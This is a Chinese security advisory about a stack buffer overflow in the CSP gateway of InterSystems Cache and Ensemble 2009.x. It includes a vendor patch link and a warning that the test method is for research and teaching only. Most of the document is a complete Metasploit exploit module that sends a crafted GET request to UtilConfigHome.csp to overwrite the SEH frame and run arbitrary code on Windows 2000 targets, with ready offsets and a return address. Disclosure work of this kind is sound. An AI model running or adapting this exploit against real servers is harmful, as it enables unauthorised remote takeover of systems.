发布日期：2009-12-11
更新日期：2009-12-11

受影响系统：

InterSystems Cache 2009.x
InterSystems Ensemble 2009.x

描述：

---

InterSystems Cache是一种高性能的面向对象数据库，适合复杂的交易处理应用，如电子商务。

InterSystems Cache和Ensemble内置的CSP网关实现上存在缓冲区溢出漏洞，远程攻击者可以通过发送畸形的HTTP请求导致缓冲区溢出执行任意指令，从而控制系统。

<*来源：MC
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,    
            'Name'           => 'InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack overflow in InterSystems Cache 2009.1.
                    By sending a specially crafted GET request, an attacker may be able to execute
                    arbitrary code.
            },
            'Author'         => [ 'MC' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: $',
            'References'     =>
                [
                    [ 'URL', 'http://www.metasploit.com' ], # Till we find out!
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Privileged'     => true,
            'Payload'        =>
                {
                    'Space'    => 650,
                    'BadChars' => "\x00\x3a\x26\x3f\x0c\x25\x23\x20\x0a\x0d\x09\x2f\x2b\x2e\x0b\x5c",
                    'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows 2000 SP4 English', { 'Offset' => 710, 'Ret' => 0x6ff2791a } ], # libhttpd.dll 2.2.11.0 / pop ebp | pop ebx | ret
                ],
            'DefaultTarget'  => 0,            
            'DisclosureDate' => 'Sep 29 2009')) # Initially...!
            
            register_options( [ Opt::RPORT(57772) ], self.class )

    end

    def exploit
        # offset to the seh frame.
        sploit =   payload.encoded + rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
        # jmp $+6 | p/p/r
        sploit <<  Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
        # fall into some nops, jmp back to our final payload.
        sploit <<  make_nops(8) + [0xe9, -700].pack('CV')
        # cause the av!
        sploit <<  rand_text_alpha_upper(payload.encoded.length)

        print_status("Trying target #{target.name}...")

        send_request_raw({
                'uri'          => '/csp/sys/mgr/UtilConfigHome.csp=' + sploit,
                'method'       => 'GET',
            }, 5)

        handler
    end    
end

建议：

---

厂商补丁：

InterSystems
------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

ftp://ftp.intersystems.com/pub/cache/patches/CSP_Gateway_Security_Alert.zip

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